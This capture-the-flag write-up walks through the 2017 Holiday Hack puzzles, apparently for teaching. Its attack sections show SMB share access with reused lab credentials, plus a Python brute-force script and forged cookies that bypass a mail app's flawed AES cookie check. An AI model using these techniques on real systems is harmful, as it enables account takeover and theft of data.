Having managed to execute the program, I decided to take a look at Holly Evergreen's Twitter profile. In this tweet, she points to a Super User answer, which explains how to execute a program that is not marked as executable.
The accepted answer says that we can use the program linker/loader as an interpreter. Let's give it a try:
elf@fea39a7c28e3:~$ ls -lh ./CandyCaneStriper
-rw-r--r-- 1 root root 45K Dec 15 19:59 ./CandyCaneStriper
elf@fea39a7c28e3:~$ /lib/x86_64-linux-gnu/ld-2.23.so ./CandyCaneStriper
_..._
.'\\ //`,
/\\.'``'.=",
/ \/ ;==|
/\\/ .'\`,`
/ \/ `""`
/\\/
/\\/
/\ /
/\\/
/`\/
\\/
`
The candy cane striping machine is up and running!
And it worked, indeed! TIL you can execute a program without it being marked as executable.
Redirecting the snowball
Since we managed to execute the program, we get a new tool: the Thermite, which can melts the snowball, reduce its size, and thus modify its speed.
Now here's the layout I used to redirect the snowball:
North Pole Christmas Town infrastructure: SMB server
If we take a look at the nmap
scan, we can see that a server called
hhc17-smb-server.c.holidayhack2017.internal
. This must be an SMB
server used to share some files. Let's try to connect to it using Alabaster
Snowball's credentials. To do this, I'm using proxychains
, and
@byt3bl33d3r's excellent
CrackMapExec
:
$ proxychains cme 10.142.0.7 -u alabaster_snowball -p stream_unhappy_buy_loss --shares
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:4242-<><>-10.142.0.7:445-<><>-OK
CME 10.142.0.7:445 HHC17-EMI [*] Windows 10.0 Build 14393 (name:HHC17-EMI) (domain:HHC17-EMI)
|S-chain|-<>-127.0.0.1:4242-<><>-10.142.0.7:445-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.142.0.7:445-<><>-OK
CME 10.142.0.7:445 HHC17-EMI [+] HHC17-EMI\alabaster_snowball:stream_unhappy_buy_loss
CME 10.142.0.7:445 HHC17-EMI [+] Enumerating shares
CME 10.142.0.7:445 HHC17-EMI SHARE Permissions
CME 10.142.0.7:445 HHC17-EMI ----- -----------
CME 10.142.0.7:445 HHC17-EMI FileStor READ
CME 10.142.0.7:445 HHC17-EMI ADMIN$ NO ACCESS
CME 10.142.0.7:445 HHC17-EMI IPC$ READ
CME 10.142.0.7:445 HHC17-EMI C$ NO ACCESS
Hmm, we have read access to the FileStor
share. Let's connect to it.
I'm using impacket's
smbclient.py
:
$ proxychains smbclient.py alabaster_snowball:stream_unhappy_buy_loss@10.142.0.7
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies
|S-chain|-<>-127.0.0.1:4242-<><>-10.142.0.7:445-<><>-OK
Type help for list of commands
# use FileStor
# ls
drw-rw-rw- 0 Mon Dec 25 05:09:11 2017 .
drw-rw-rw- 0 Mon Dec 25 05:09:11 2017 ..
-rw-rw-rw- 255520 Mon Dec 25 05:09:28 2017 BOLO - Munchkin Mole Report.docx
-rw-rw-rw- 1275756 Mon Dec 4 21:04:34 2017 GreatBookPage3.pdf
-rw-rw-rw- 133295 Wed Dec 6 22:47:47 2017 MEMO - Password Policy Reminder.docx
-rw-rw-rw- 10245 Wed Dec 6 23:28:21 2017 Naughty and Nice List.csv
-rw-rw-rw- 60344 Wed Dec 6 22:51:47 2017 Naughty and Nice List.docx
Among other files that may be useful later, we find the third page to The
Great Book
(sha256: 6b99d47103d4030e643c8073dfab0915b0bf1a265c32035ec604148abd49d64e
):
The Great Schism
Many centuries ago, the Little People of Oz were united - one people sharing peace and laughter all the way. But then, tragedy struck - The Great Schism split the community into two bitterly opposed factions: the Munchkins and the Elves. The original cause of this acrimonious division has long been forgotten.
As The Great Schism escalated from verbal arguments to fist fights to the rise of actual armed militias, the Wizard knew he had to act. He reached out to his good friend, Santa Claus, who at the time was setting up a worldwide gift distribution operation at the North Pole. To avoid the near-certain bloodshed of an Oz-wide civil war, the Wizard and Santa agreed that they would relocate the Elven faction to the North, where they would help Santa manufacture presents and run the North Pole's infrastructure. The Munchkins would remain in Oz, living as before, but viewing the Elves' departure as a banishment. The Elves themselves regard their move as a magnanimous and voluntary relocation to the North Pole, seeking refuge from marauding Munchkins.
Sadly, although violence between the Munchkins and the Elves was thwarted, there remains a seething hatred between the two peoples. Despite the best efforts of Santa and the Wizard of Oz, anti-Elf propaganda appears from time to time in Oz, as does anti-Munchkin sentiment in the North Pole. Indeed, the two peoples remain in a perpetual state of cold ward. Sadly, the chilling after-affects of The Great Schism are felt to this very day.
Fourth page of The Great Book
North Pole and Beyond: There's Snow Place Like Home
Cranberry Pi
______ .-"""".._'. _,## _..__ |.-"""-.| | _,##'`-._ (_____)||_____|| |_,##'`-._,##'` _| |.;-""-. | |#'`-._,##'` _.;_ `--' `\ \ |.'`\._,##'` /.-.\ `\ |.-";.`_, |##'` |\__/ | _..;__ |'-' / '.____.'_.-`)\--' /'-'` //||\\(_.-'_,'-'` (`-...-')_,##'` jgs _,##`-..,-;##` _,##'`-._,##'` _,##'`-._,##'` `-._,##'` My name is Pepper Minstix, and I need your help with my plight. I've crashed the Christmas toy train, for which I am quite contrite. I should not have interfered, hacking it was foolish in hindsight. If you can get it running again, I will reward you with a gift of delight.
Alright, once again, we're supposed to execute a program. Let's see:
elf@36ff87294cc6:~$ ls -lh
total 444K
-rwxr-xr-x 1 root root 444K Dec 7 18:43 trainstartup
elf@a6b0a5dfef57:~$ ./trainstartup
bash: ./trainstartup: cannot execute binary file: Exec format error
elf@a6b0a5dfef57:~$ file ./trainstartup
./trainstartup: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=005de4685e8563d10b3de3e0be7d6fdd7ed732eb, not stripped
elf@a6b0a5dfef57:~$ uname -a
Linux a6b0a5dfef57 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86_64 x86_64 x86_64 GNU/Linux
Hmm, just like for the find
executable in "Winter Wonder Landing",
we're stuck with an ARM program, while we're running on an Intel x64 processor.
However, we can't replace this program with an x64 version, since it's a
custom program! We must find a way to execute ARM on an Intel x64 processor.
This usually means that we have to use some kind of virtualization solution. One virtualization solution that works in CLI, and can launch program independently, without having to virtualize a whole OS is QEMU. Let's see if the machine has QEMU:
elf@a6b0a5dfef57:~$ find / -name 'qemu*' 2> /dev/null
/usr/bin/qemu-arm
/usr/bin/qemu-alpha
/usr/bin/qemu-sh4eb
/usr/bin/qemu-mips
/usr/bin/qemu-aarch64
/usr/bin/qemu-sparc32plus
/usr/bin/qemu-m68k
/usr/bin/qemu-microblazeel
/usr/bin/qemu-ppc64
/usr/bin/qemu-mipsn32
/usr/bin/qemu-microblaze
/usr/bin/qemu-mips64
/usr/bin/qemu-sparc64
/usr/bin/qemu-s390x
/usr/bin/qemu-mips64el
/usr/bin/qemu-mipsel
/usr/bin/qemu-cris
/usr/bin/qemu-armeb
/usr/bin/qemu-sparc
/usr/bin/qemu-unicore32
/usr/bin/qemu-x86_64
/usr/bin/qemu-mipsn32el
/usr/bin/qemu-ppc64abi32
/usr/bin/qemu-sh4
/usr/bin/qemu-i386
/usr/bin/qemu-ppc
/usr/bin/qemu-or32
[snip]
Yes, qemu-arm
is present, we can try and launch our program:
elf@a6b0a5dfef57:~$ /usr/bin/qemu-arm ./trainstartup
Starting up...
Merry Christmas
Merry Christmas
v
>*<
^
/o\
/ \ @.·
/~~ \ .
/ ° ~~ \ · .
/ ~~ \ ◆ ·
/ ° ~~\ · 0
/~~ \ .─··─ · o
/° ~~ .*· · . \ ├──┼──┤
│ ──┬─°─┬─°─°─°─ └──┴──┘
≠==≠==≠==≠==──┼──=≠ ≠=≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠===≠
│ /└───┘\┌───┐ ┌┐
└───┘ /▒▒▒▒
≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠=°≠=°≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠
You did it! Thank you!
Redirecting the snowball
Since we managed to execute the program, we're given an object: Jam, which does... something? I dunno, but apparently it should not be confused with reindeer droppings.
Now here's the layout I used to redirect the snowball:
North Pole Christmas Town infrastructure: Elf Web Access
If we take another look at the nmap
scan result, we can find a server
called mail.northpolechristmastown.com
. This is obviously the North
Pole mail server. Let's see what we can find.
If we try to connect with Alabaster's password, we get an Incorrect
password
message. Great, the guy reuses his password for his MySQL account,
his system account, and his SMB account, but not his mail account. Let's find
another way.
After trying to bypass authentication for quite some time, I decided to go
back to basic recon. By looking at the source code of the application, we
find a reference to a webpage called account.html
:
// File custom.js
function login() {
var address = $('#email').val().trim();
var passw = $('#password').val().trim();
if (address && passw && address.match(/[\w\_\-\.]+\@[\w\_\-\.]+\.\w\w\w?\w?/g) !== null) {
$.post( "login.js", { email: address, password: passw }).done(function( result ) {
//RETURN A JSON bool value of true if the email and password is correct. false if incorrect
if (result.bool) {
$('#email').val('');
$('#password').val('');
Materialize.toast('Correct. Logging in now!', 4000);
setTimeout(function(){
//redirect to home.html. This needs to be locked down by cookies!
window.location.href = 'account.html';
}, 1000);
} else {
Materialize.toast(result.result, 4000);
}
}).fail(function(error) {
Materialize.toast('Error: '+error.status + " " + error.statusText, 4000);
})
} else {
Materialize.toast('You must put in a correct email and password!', 4000);
}
}
But trying to go directly to this page just redirects us to the login page.
Let's continue our recon. Here's what we find in the robots.txt
file:
GET /robots.txt HTTP/1.1
Host: 10.142.0.5
Cookie: EWA={"name":"GUEST","plaintext":"","ciphertext":""}
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Thu, 28 Dec 2017 20:29:07 GMT
Content-Type: text/plain; charset=UTF-8
Content-Length: 37
Connection: close
X-Powered-By: Express
User-agent: *
Disallow: /cookie.txt
Couple of interesting things. First, the application set us a cookie called
EWA
, with what seems to be our access level. I tried replaying the
cookie with values such as ADMIN
, etc. but it didn't work. Second, the
application is using the Express framework, which is based on NodeJS. We
now know the backend of the application. And finally, there is a file called
cookie.txt
in the application webroot, and the developper didn't want
this file to be indexed by search engine bots. So I guess it must be
interesting! Let's see.
The file contains the following Javascript code:
//FOUND THESE FOR creating and validating cookies. Going to use this in node js
function cookie_maker(username, callback){
var key = 'need to put any length key in here';
//randomly generates a string of 5 characters
var plaintext = rando_string(5)
//makes the string into cipher text .... in base64. When decoded this 21 bytes in total length. 16 bytes for IV and 5 byte of random characters
//Removes equals from output so as not to mess up cookie. decrypt function can account for this without erroring out.
var ciphertext = aes256.encrypt(key, plaintext).replace(/\=/g,'');
//Setting the values of the cookie.
var acookie = ['IOTECHWEBMAIL',JSON.stringify({"name":username, "plaintext":plaintext, "ciphertext":ciphertext}), { maxAge: 86400000, httpOnly: true, encode: String }]
return callback(acookie);
};
function cookie_checker(req, callback){
try{
var key = 'need to put any length key in here';
//Retrieving the cookie from the request headers and parsing it as JSON
var thecookie = JSON.parse(req.cookies.IOTECHWEBMAIL);
//Retrieving the cipher text
var ciphertext = thecookie.ciphertext;
//Retrievingin the username
var username = thecookie.name
//retrieving the plaintext
var plaintext = aes256.decrypt(key, ciphertext);
//If the plaintext and ciphertext are the same, then it means the data was encrypted with the same key
if (plaintext === thecookie.plaintext) {
return callback(true, username);
} else {
return callback(false, '');
}
} catch (e) {
console.log(e);
return callback(false, '');
}
};
So, we seem to have found the code that is use to generate the EWA
cookie. Here's how it seems to work:
- The server generates a five-letter random string (variable
plaintext
). - This string is encrypted using AES256 (variable
ciphertext
, with a fixed key (variablekey
). - The username, the random string, and its encrypted value, are put in the cookie.
- To check the cookie, the server decrypts the encrypted value, and compares it to the random string sent in the cookie.
At first, I tried generating a cookie, using the key need to put any length key in here
,
hoping that the developper had not changed this section of the source code, but
it didn't work. So we don't know the key. But there are still some glaring
errors in this cookie generation code.
First, let's take a look at the aes256 NodeJS module. I installed NodeJS and this module, and played around with it:
> var aes256 = require('aes256');
undefined
> var key = 'my milkshake brings all the boys to the yard';
undefined
> var plaintext = '1337';
undefined
> aes256.encrypt(key, plaintext)
'L07kb9VSHbavnunjI/4aom8KcS4='
Let's take a look at our ciphertext:
$ echo 'L07kb9VSHbavnunjI/4aom8KcS4=' | base64 -d | hexdump -C
00000000 2f 4e e4 6f d5 52 1d b6 af 9e e9 e3 23 fe 1a a2 |/N.o.R......#...|
00000010 6f 0a 71 2e |o.q.|
00000014
Hmmm, our output is 20 bytes, which is not a multiple of AES block-size. This is weird. The first block of our ciphertext (16 bytes) must be the initialization vector, which leaves a 4-byte block. Incidently, 4 bytes is exactly the size of our plaintext. After several manual tries, I confirmed that the plaintext and the ciphertext have the same size, which is the first oops.
The second oops is that the cookie verification code does not perform any check on the payload sent in the cookie. So it will happily accept one-byte long payload (but unfortunately, not empty payload) (it actually does, see after).
So, if we send a one-byte long payload, there are only 256 possible values for the ciphertext, which is easily bruteforceable on line. Here's a Python script that will try to find a valid cookie:
#!/usr/bin/env python3
import base64
import requests
import time
def main():
# The URL we try to access
url = 'http://10.142.0.5/account.html'
# Our cookie template, with a one-byte long plaintext
cookie_template = '{{"name":"alabaster.snowball@northpolechristmastown.com","plaintext":"a","ciphertext":"{}"}}'
# Our arbitrary IV
iv = b'\x90' * 16
for candidate in range(256):
# We create our candidate cipher text, by appending the one-byte value
# to our IV, and base64 encoding it
ciphertext = base64.b64encode(iv + bytes([candidate])).decode('utf8')
# We then create our cookie, and get the wanted page
cookies = {'EWA': cookie_template.format(ciphertext)}
r = requests.get(url, cookies=cookies)
# If we get a positive return, we output the cookie
if r.status_code == 200 and r.text != '<script>window.location.href=\'/\'</script>'::
print(cookies)
break
if __name__ == '__main__':
main()
We launch our script through proxychains
and...
$ proxychains ./cookie_finder.py
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:4242-<><>-10.142.0.5:80-<><>-OK
[snip]
{'EWA': '{"name":"alabaster.snowball@northpolechristmastown.com","plaintext":"a","ciphertext":"kJCQkJCQkJCQkJCQkJCQkGk="}'}
Bingo! We get a valid cookie for Alabaster's account!
<Errata>
After solving this part, I checked the hints given by the Elf of this level, Pepper Minstix:
AES256? Honestly, I don't know much about it, but Alabaster explained the basic idea and it sounded easy. During decryption, the first 16 bytes are removed and used as the initialization vector or "IV." Then the IV + the secret key are used with AES256 to decrypt the remaining bytes of the encrypted string.
Hmmm. That's a good question, I'm not sure what would happen if the encrypted string was only 16 bytes long.
So the system does in fact accept empty plaintext
variables, with
any ciphertext
that is 16-byte long. So using this cookie works:
{"name":"alabaster.snowball@northpolechristmastown.com","plaintext":"","ciphertext":"QUFBQUFBQUFBQUFBQUFBQQo="}
.
I was sure to have checked this, but obviously I'm mistaken (that's an oops for me)!
</Errata>
Alright, now we have a valid cookie for Alabaster's account. Or any account
really. This is the third oops: there's no link between the name
set in
the cookie, and the plaintext
and ciphertext
variables. So now
that we have found a valid ciphertext for our plaintext a
, we can put
anything we want in the name
variable, such as
admin@northpolechristmastown.com
, and we'll be logged into the given
account:
If we snoop around Alabaster's mailbox, we find this email:
From: holly.evergreen@northpolechristmastown.com
To: all@northpolechristmastown.com
Subject: Lost book page
Hey Santa,
Found this lying around. Figured you needed it.
http://mail.northpolechristmastown.com/attachments/GreatBookPage4_893jt91md2.pdf
:)
-Holly
We get a link to the fourth page of The Great Book
(sha256: 6afe9f8c7dc8a392b6d853a05f1c1ce67b490633e3aa6c22faa3b1936f1ceed0
):
The Rise of the Lollipop Guild
As tensions escalated immediately before The Great Schism, outright fistfights erupted in the streets of the Emerald City as the most radicalized Elves and Munchkins battled for turf. In those early days, the small-scale skirmishes were disorganized and chaotic. But as hostilities and violence continued to grow, organized groups of elite fighters emerged on each side to take control of the militias. One particularly notherworthy band of commandos named itself the "Lollipop Guild".
Today, despite its sweet candy-themed name, the Guild's mission is by no means sugar coated. The official, stated focus of this liliputian force is to apply elite military tactics to defend Oz against all Elven aggression. What's more, it's also believed (at least among the Elves) that the Lollipop Guild engages in offensive operations against the North Pole, both from a cyber and kinetic perspective. The Elves consider the Lollipop Guild to be a terrorist organization. Indeed, the North Pole Elven Blue Team toils year-round defending the computer and network infrastructure of the North Pole from attack. Their biggest fear is that the Lollipop Guild will somehow disrupt or destroy the North Pole's biggest production of the year - Santa's Christmas Day present delivery operation. The North Pole Blue Team is on extremely high alert throughout Christmas Eve, and exhaustive period of analysis and active defense this team refers to as "Blue Christmas".
Although it has never been proven, the Elves allege that the Lollipop Guild has infiltrated its operatives among the North Pole population, cleverly disguising these nefarious interlopers as Elves. According to these rumors, so-called Munchkin Moles mingle among even the Elven Elite. Because Elves and Munchkins look identical, Elven leadership remains confounded about whether Munchkin Moles actually exist. Yet, rumors persist.
Fifth page of The Great Book
The fifth page is located in North Pole and Beyond level. We must use the giant falling snowball to collect it. But let's solve the Cranberry Pi challenge first.
North Pole and Beyond: Bumbles Bounce
Cranberry Pi
._ _. (_) (_) <> \ / <> .\::/. \_\/ \/_/ .:. _.=._\\//_.=._ \\// .. \o/ .. '=' //\\ '=' _<>_\_\<>/_/_<>_ :o| | |o: '/::\' <> / /<>\ \ <> ~ '. ' .' ~ (_) (_) _ _ _ //\\ _ >O< ' ' /_/ \_\ / /\ /\ \ _ .' . '. _ \\// <> / \ <> :o| | |o: /\_\\><//_/\ '' /o\ '' '.| |.' \/ //><\\ \/ ':' . ~~\ /~~ . _//\\_ jgs _\_._\/_._/_ \_\ /_/ / ' /\ ' \ \o/ o ' __/ \__ ' _o/.:|:.\o_ o : o ' .'| |'. .\:|:/. '.\'/.' . -=>>::>o<::<<=- :->@<-: : _ '/:|:\' _ .'/.\'. '.___/*\___.' o\':|:'/o o : o \* \ / */ /o\ o >--X--< /*_/ \_*\ .' \*/ '. : ' Minty Candycane here, I need your help straight away. We're having an argument about browser popularity stray. Use the supplied log file from our server in the North Pole. Identifying the least-popular browser is your noteworthy goal.
Alright, it seems we just have to analyze and find the least popular browser in a log file:
elf@7283fcc58ff6:~$ ls -lh
total 29M
-rw-r--r-- 1 root root 24M Dec 4 17:11 access.log
-rwxr-xr-x 1 root root 5.0M Dec 11 17:31 runtoanswer
elf@7283fcc58ff6:~$ head access.log
XX.YY.66.201 - - [19/Nov/2017:06:50:30 -0500] "GET /robots.txt HTTP/1.1" 301 185 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
XX.YY.66.201 - - [19/Nov/2017:06:50:30 -0500] "GET /robots.txt HTTP/1.1" 404 5 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
XX.YY.89.151 - - [19/Nov/2017:07:13:03 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"
XX.YY.66.201 - - [19/Nov/2017:07:22:12 -0500] "GET / HTTP/1.1" 301 185 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
XX.YY.45.77 - - [19/Nov/2017:07:43:08 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"
XX.YY.201.12 - - [19/Nov/2017:08:21:10 -0500] "GET /manager/html HTTP/1.1" 301 185 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
XX.YY.218.124 - - [19/Nov/2017:08:22:09 -0500] "GET /img/common/favicon-128.png HTTP/1.1" 304 0 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0"
XX.YY.68.152 - - [19/Nov/2017:08:43:27 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"
XX.YY.236.170 - - [19/Nov/2017:08:48:39 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "slack/2.47.0.7352 (motorola Moto G (4); Android 7.0)"
XX.YY.11.135 - - [19/Nov/2017:08:56:32 -0500] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0"
We can see that the last column holds the user-agent. We can also observe that
the user-agent is just after the fifth double-quote on the line. So, if we use
the cut
command, with "
as a separator, we will get the
user-agent by asking for the sixth field:
elf@7283fcc58ff6:~$ cut -d'"' -f 6 access.log
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
Slack-ImgProxy (+https://api.slack.com/robots)
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
Slack-ImgProxy (+https://api.slack.com/robots)
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
Slack-ImgProxy (+https://api.slack.com/robots)
slack/2.47.0.7352 (motorola Moto G (4); Android 7.0)
Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
[snip]
Alright, now that we have only the user-agents, we can sort
the
user-agents, and use uniq
to remove duplicates, and count the number
of unique user-agents:
elf@7283fcc58ff6:~$ cut -d'"' -f 6 access.log | sort | uniq -c
2 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36
143 -
1 Dillo/3.0.5
3 GarlikCrawler/1.2 (http://garlik.com/, crawler@garlik.com)
34 Googlebot-Image/1.0
3 MobileSafari/604.1 CFNetwork/889.9 Darwin/17.2.0
4 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
8 Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
345 Mozilla/4.0 (compatible;)
2 Mozilla/5.0
[snip]
Hmm, Dillo/3.0.5
seems to be the least popular web-browser, with only
one entry. However, there may be other user-agents with only one hit in the
log file. Let's sort our counted output:
elf@7283fcc58ff6:~$ cut -d'"' -f 6 access.log | sort | uniq -c | sort -gr
27285 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
8501 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
6221 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
6183 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
3163 Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
2733 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/62.0.3202.94 Chrome/62.0.3202.94 Safari/537.36
2427 Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
2099 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
2006 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
2002 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
[snip]
2 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36
1 slack/2.47.1.7358 (samsung SM-G955F; Android 7.0)
1 slack/2.47.1.7358 (samsung SM-G950U; Android 7.0)
1 slack/2.47.1.7358 (samsung SM-G935T; Android 7.0)
1 slack/2.47.1.7358 (samsung SM-G935L; Android 7.0)
1 slack/2.47.1.7358 (samsung SM-G930F; Android 7.0)
1 slack/2.47.1.7358 (samsung SM-G920P; Android 7.0)
1 slack/2.47.1.7358 (motorola XT1635-02; Android 7.1.1)
1 slack/2.47.1.7358 (motorola Moto G (5) Plus; Android 7.0)
1 slack/2.47.1.7358 (Xiaomi Redmi Note 4; Android 7.0)
1 slack/2.46.0.7100 (lenovo Lenovo K8 Note; Android 7.1.1)
1 slack/2.47.1.7358 (OnePlus ONEPLUS A3000; Android 7.1.1)
1 slack/2.47.1.7358 (OnePlus ONE A2003; Android 8.0.0)
1 slack/2.47.1.7358 (LYF LS-5504; Android 5.1.1)
1 slack/2.47.1.7358 (Intex Cloud Q11 4G; Android 6.0)
1 slack/2.47.1.7358 (Huawei Nexus 6P; Android 8.0.0)
1 slack/2.47.1.7358 (HUAWEI AGS-W09; Android 7.0)
1 slack/2.47.1.7358 (Google Pixel XL; Android 8.0.0)
1 slack/2.47.0.7352 (samsung SM-N950U; Android 7.1.1)
1 slack/2.47.0.7352 (samsung SAMSUNG-SM-N910A; Android 6.0.1)
1 slack/2.47.0.7352 (samsung SAMSUNG-SM-G870A; Android 6.0.1)
1 slack/2.47.0.7352 (motorola Moto G (4); Android 7.0)
1 slack/2.47.0.7352 (Sony F8331; Android 7.1.1)
1 slack/2.47.0.7352 (OnePlus ONEPLUS A3003; Android 7.1.1)
1 slack/2.47.0.7352 (OnePlus A0001; Android 7.1.2)
1 slack/2.47.0.7352 (LGE Nexus 5; Android 6.0.1)
1 slack/2.47.0.7352 (Google Pixel; Android 8.0.0)
1 slack/2.46.0.7100 (lenovo Lenovo K8 Note; Android 7.1.1)
1 slack/2.46.0.7100 (Wingtech 2014818; Android 7.1.2)
1 slack/2.46.0.7100 (OnePlus ONE E1003; Android 6.0.1)
1 slack/2.46.0.7100 (OnePlus ONE A2003; Android 6.0.1)
1 masscan/1.0 (https://github.com/robertdavidgraham/masscan)
1 masscan/1.0
1 curl/7.35.0
1 Slack/370354 CFNetwork/893.14 Darwin/17.3.0
1 Slack/370354 CFNetwork/893.10 Darwin/17.3.0
1 Slack/370342 CFNetwork/808.3 Darwin/16.3.0
1 Slack/370136 CFNetwork/811.5.4 Darwin/16.7.0
1 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; Touch; MASEJS)
1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; MASMJS)
1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
1 Mozilla/5.0 (X11; OpenBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
1 Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTML, like Gecko)
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
1 Dillo/3.0.5
Well, even though some other user-agents have only one hit, they seem to be
different versions of the same browser. Dillo/3.0.5
seems to be our
winner:
elf@7283fcc58ff6:~$ ./runtoanswer
Starting up, please wait......
Enter the name of the least popular browser in the web log: Dillo/3.0.5
That is the least common browser in the web log! Congratulations!
Redirecting the snowball
Now that we found the least popular browser, we get a new object: the Bumper, which can redirect the snowball.
Now here's the layout I used to redirect the snowball. Incidently, I learned that the Jam slows the snowball down, because it's sticky:
This level had the fifth page to The Great Book (sha256: aed664454f956ed4f80c54540c4980ae28912c3ff816733a6fb84b366bd32c67
):
The Abominable Snow Monster
When the Elves and reindeer refugees first arrived at the North Pole, they found a barren but workable landscape. The desolate peace of the cold North was a welcomed change from the bitter battles with the Munchkins back in Oz. Dressed up like Eskimos for their first several months, all elves from one to ninety-two worked without interruption building homes for themselves, stalls for the reindeer, toy production lines, and finally a splendid castle for Santa.
But then, it started. Some of their food stocks mysteriously disappeared. Initially, the Elves hypothesized that Munchkins Moles were pilfering their provisions, so they embarked on a detailed investigation. Sadly, the taskforce found very little evidence, except for MASSIVE footprints in the snow near the food storage bins.
And then, it got worse. Elves started disappearing. One at a time, over the space of a couple of weeks, a half dozen elves simply vanished, their last known location surrounded by more gigantic footprints.
The taskforce bravely followed the footprints back to an enormous cave, where they found a gigantic furry beast with horrible fangs. The so-called "Abominable Snow Monster" had enslaved the kidnapped elves, forcing them to make gigantic snowballs he could throw as weapons. After mounting a daring rescue operation, the Elves vowed to steer clear of the entire region inhabited by the Abominable.
In later years, through the tireless efforts of social worker and arctic prospector Yukon Cornelius, a miracle occurred! The Abominable actually became a jolly, happy soul, who could laugh and play. The Elves welcomed the newly friendly beast and started calling him "Bumble" as he earned a job putting Christmas tree toppers into place without a stepladder.
Very recently, though, the Bumble's behaviour has become quite erratic. Several times every day, his eyes seem to go blank as he stares off into the distance. Rumor among the elves is that there must have been some magic in something the Bumble ate. As of this writing, the Bumble is under careful analysis by Yukon Cornelius and the North Pole's best veterinarians. A diagnosis remains elusive.
After solving this challenge, we have a little chat with Sam the Snowman:
Bumble: Arrrrrrrrgh! Grrrrrrrr! ROOOOOOOAR!
Sam the Snowman: You've done it! You found out who was throwing the giant snowballs! It was the Abominable Snow Monster. We should have known. Thank you for your great work!
